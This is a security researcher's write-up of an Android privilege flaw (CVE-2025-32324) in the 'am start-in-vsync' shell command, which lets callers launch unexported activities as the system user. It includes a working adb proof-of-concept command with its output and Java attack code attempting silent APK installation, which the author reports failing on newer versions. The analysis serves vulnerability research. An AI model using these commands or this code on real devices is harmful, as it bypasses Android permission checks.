Introduction
There is an issue with incorrect transmission of authentication information in the start-in-vsync command of ActivityManagerShellCommand, which allows launching any unexported Activity in the system through this interface, enabling a LaunchAnyWhere (LAW) attack.
Vulnerability Analysis
The code is relatively simple:
//...
case "start":
case "start-activity":
return runStartActivity(pw);
case "start-in-vsync":
final ProgressWaiter waiter = new ProgressWaiter(0);
final int[] startResult = new int[1];
startResult[0] = -1;
mInternal.mUiHandler.runWithScissors(
() -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
try {
startResult[0] = runStartActivity(pw);
waiter.onFinished(0, null /* extras */);
} catch (Exception ex) {
getErrPrintWriter().println(
"Error: unable to start activity, " + ex);
}
}),
USER_OPERATION_TIMEOUT_MS / 2);
waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
return startResult[0];
//...
Compared with the normal start-activity command, the main difference is that start-in-vsync executes runStartActivity in the mUiHandler of ATMS. When communicating between threads via Handler, the authentication information in the Binder is lost, resulting in the authentication information obtained by subsequent startActivityAsUserWithFeature being that of the system_server process. This can be easily verified through some logs:
//...
case "start":
case "start-activity":
pw.println("In AMSC.onCommand: callingUid=" + Binder.getCallingUid() + ", callingPid=" + Binder.getCallingPid());
return runStartActivity(pw);
case "start-in-vsync":
final ProgressWaiter waiter = new ProgressWaiter(0);
final int[] startResult = new int[1];
startResult[0] = -1;
mInternal.mUiHandler.runWithScissors(
() -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
try {
pw.println("In AMSC.onCommand: callingUid=" + Binder.getCallingUid() + ", callingPid=" + Binder.getCallingPid());
startResult[0] = runStartActivity(pw);
waiter.onFinished(0, null /* extras */);
} catch (Exception ex) {
getErrPrintWriter().println(
"Error: unable to start activity, " + ex);
}
}),
USER_OPERATION_TIMEOUT_MS / 2);
waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
return startResult[0];
//...
Proof of Concept (PoC)
$ adb shell am start -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3873
Starting: Intent { cmp=com.android.settings/.SubSettings }
Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: starting Intent { flg=0x10000000 cmp=com.android.settings/.SubSettings } from null (pid=3873, uid=2000) not exported from uid 1000
at com.android.server.wm.ActivityTaskSupervisor.checkStartAnyActivityPermission(ActivityTaskSupervisor.java:1184)
at com.android.server.wm.ActivityStarter.executeRequest(ActivityStarter.java:1223)
at com.android.server.wm.ActivityStarter.execute(ActivityStarter.java:865)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1321)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1262)
at com.android.server.am.ActivityManagerService.startActivityAsUserWithFeature(ActivityManagerService.java:3245)
at com.android.server.am.ActivityManagerShellCommand.runStartActivity(ActivityManagerShellCommand.java:869)
at com.android.server.am.ActivityManagerShellCommand.onCommand(ActivityManagerShellCommand.java:251)
at com.android.modules.utils.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:97)
at android.os.ShellCommand.exec(ShellCommand.java:38)
at com.android.server.am.ActivityManagerService.onShellCommand(ActivityManagerService.java:10406)
at android.os.Binder.shellCommand(Binder.java:1143)
at android.os.Binder.onTransact(Binder.java:945)
at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:5733)
at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:2721)
at android.os.Binder.execTransactInternal(Binder.java:1411)
at android.os.Binder.execTransact(Binder.java:1350)
$ adb shell am start-in-vsync -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3914
In ATMS.mUiHandler: callingUid=1000, callingPid=1306
Starting: Intent { cmp=com.android.settings/.SubSettings }
It can be clearly seen that after executing the code in ATMS’s UI Handler, the authentication information is lost, leading to the occurrence of this LAW vulnerability.
Limitations
This vulnerability only exists in ActivityManagerShellCommand, so it cannot be triggered through any Binder IPC interface of ATMS, and only the am command can be used. As a result, attackers cannot add arbitrary Parcelable parameters to the Intent, which greatly limits the power of this vulnerability — attackers can no longer combine it with Intent Bridge vulnerabilities in other apps with UID > 10000 to access their FileProviders.
Exploitation Attempts
Another idea is to attack InstallInstalling to achieve pseudo-silent installation. However, testing showed that this approach is not feasible. The attack code is as follows:
public static int writeApkToPackageInstaller(Context context, File apkFile) throws IOException {
if (!apkFile.exists() || !apkFile.getName().endsWith(".apk")) {
Log.e(TAG, "Must use an apk file to silent install.");
return -1;
}
// Open PackageInstaller session
PackageInstaller pi = context.getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams params =
new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int sessionId = pi.createSession(params);
PackageInstaller.Session session = pi.openSession(sessionId);
// Write apk to session
OutputStream os = session.openWrite("package", 0, -1);
FileInputStream fis = new FileInputStream(apkFile);
byte[] buffer = new byte[4096];
for (int n; (n = fis.read(buffer)) > 0;) {
os.write(buffer, 0, n);
}
fis.close();
os.flush();
os.close();
return sessionId;
}
public static void exploitCVE_2025_32324(int sessionId, File apkFile) throws IOException {
if (!Android.checkIfSecurityPatchBefore("2025-09-01")) {
Log.e(TAG, "Oops! It looks like CVE-2025-32324 bug has been fixed on this device.");
return;
}
String[] cmd = {
"am", "start-in-vsync",
"-n", Constants.Package.PACKAGE_INSTALLER + "/.InstallInstalling",
"-d", Uri.fromFile(apkFile).toString(),
"--ei", "EXTRA_STAGED_SESSION_ID", Integer.toString(sessionId),
};
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String output;
while ((output = reader.readLine()) != null) {
Log.d(TAG, output);
}
}
public static void autoInstallFromAsset(Context context, String asset) throws IOException {
File apkFile = new File(context.getCacheDir(), asset);
Android.copyAsset(context, asset, apkFile);
int sessionId = AndroidH.writeApkToPackageInstaller(context, apkFile);
// Copy file to download directory
// Will duplicate if file exists
Android.copyFileToDownload(context, apkFile, apkFile.getName(),
"application/vnd.android.package-archive");
// When passing to InstallInstalling, it needs to be a file uri
// Since startActivityAsUser is executed by uid 1000, there is no FileUriExposedException
File apkFileInDownload = new File(Environment
.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
exploitCVE_2025_32324(sessionId, apkFileInDownload);
}
The problem here is that normally we need an ApplicationInfo object as a parameter, which cannot be passed through the command line:
public static Intent createInstallingIntent(Context context, int sessionId, File apkFile) {
// Construct Intent to call InstallInstalling
Intent installingIntent = new Intent();
installingIntent.setClassName(Constants.Package.PACKAGE_INSTALLER,
Constants.Package.PACKAGE_INSTALLER + ".InstallInstalling");
installingIntent.putExtra("EXTRA_STAGED_SESSION_ID", sessionId);
installingIntent.setData(Uri.fromFile(apkFile));
PackageInfo packageInfo = context.getPackageManager()
.getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
if (packageInfo == null) {
Log.e(TAG, "getPackageArchiveInfo returns null, failed to auto install.");
return null;
}
installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// ** This parameter cannot be added via command line **
installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
packageInfo.applicationInfo);
return installingIntent;
}
Originally, in Android 14 and earlier versions, installation could succeed without the ApplicationInfo object (though the interface might not display), but the process was modified in the following patch:
- PackageUtil.AppSnippet as = getIntent()
- .getParcelableExtra(EXTRA_APP_SNIPPET, PackageUtil.AppSnippet.class);
+
+ // Dialogs displayed while changing update-owner have a blank icon. To fix this,
+ // fetch the appSnippet from the source file again
+ PackageUtil.AppSnippet as = PackageUtil.getAppSnippet(this, appInfo, sourceFile);
+ getIntent().putExtra(EXTRA_APP_SNIPPET, as);
Previously, the appInfo object was actually used after openSession started the installation, so even if a NullPointerException (NPE) occurred due to appInfo being NULL, it would not affect the normal execution of the installation by PMS — only the interface would fail to display. However, the modified code uses PackageUtil.getAppSnippet to obtain an AppSnippet object, which heavily references appInfo, making it impossible to complete the exploitation without passing this parameter:
/**
* Utility method to load application label
*
* @param pContext context of package that can load the resources
* @param appInfo ApplicationInfo object of package whose resources are to be loaded
* @param sourceFile File the package is in
*/
public static AppSnippet getAppSnippet(
Activity pContext, ApplicationInfo appInfo, File sourceFile) {
final String archiveFilePath = sourceFile.getAbsolutePath();
PackageManager pm = pContext.getPackageManager();
appInfo.publicSourceDir = archiveFilePath;
if (appInfo.splitNames != null && appInfo.splitSourceDirs == null) {
final File[] files = sourceFile.getParentFile().listFiles(
(dir, name) -> name.endsWith(SPLIT_APK_SUFFIX));
final String[] splits = Arrays.stream(appInfo.splitNames)
.map(i -> findFilePath(files, i + SPLIT_APK_SUFFIX))
.filter(Objects::nonNull)
.toArray(String[]::new);
appInfo.splitSourceDirs = splits;
appInfo.splitPublicSourceDirs = splits;
}
CharSequence label = null;
// Try to load the label from the package's resources. If an app has not explicitly
// specified any label, just use the package name.
if (appInfo.labelRes != 0) {
try {
label = appInfo.loadLabel(pm);
} catch (Resources.NotFoundException e) {
}
}
if (label == null) {
label = (appInfo.nonLocalizedLabel != null) ?
appInfo.nonLocalizedLabel : appInfo.packageName;
}
Drawable icon = null;
// Try to load the icon from the package's resources. If an app has not explicitly
// specified any resource, just use the default icon for now.
try {
if (appInfo.icon != 0) {
try {
icon = appInfo.loadIcon(pm);
} catch (Resources.NotFoundException e) {
}
}
if (icon == null) {
icon = pContext.getPackageManager().getDefaultActivityIcon();
}
} catch (OutOfMemoryError e) {
Log.i(LOG_TAG, "Could not load app icon", e);
}
return new PackageUtil.AppSnippet(label, icon, pContext);
}
Actual test logs confirmed this: an NPE was thrown when trying to write appInfo.publicSourceDir at the beginning of the method, killing the PackageInstaller and preventing the installation from proceeding.
E FATAL EXCEPTION: main
Process: com.android.packageinstaller, PID: 31447
java.lang.RuntimeException: Unable to start activity ComponentInfo{com.android.packageinstaller/com.android.packageinstaller.InstallInstalling}: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4206)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393)
at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222)
at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133)
at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773)
at android.os.Handler.dispatchMessage(Handler.java:109)
at android.os.Looper.loopOnce(Looper.java:232)
at android.os.Looper.loop(Looper.java:317)
at android.app.ActivityThread.main(ActivityThread.java:8934)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)
Caused by: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
at com.android.packageinstaller.PackageUtil.getAppSnippet(PackageUtil.java:240)
at com.android.packageinstaller.InstallInstalling.onCreate(InstallInstalling.java:99)
at android.app.Activity.performCreate(Activity.java:9079)
at android.app.Activity.performCreate(Activity.java:9057)
at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1531)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4188)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393)
at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222)
at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133)
at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773)
at android.os.Handler.dispatchMessage(Handler.java:109)
at android.os.Looper.loopOnce(Looper.java:232)
at android.os.Looper.loop(Looper.java:317)
at android.app.ActivityThread.main(ActivityThread.java:8934)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)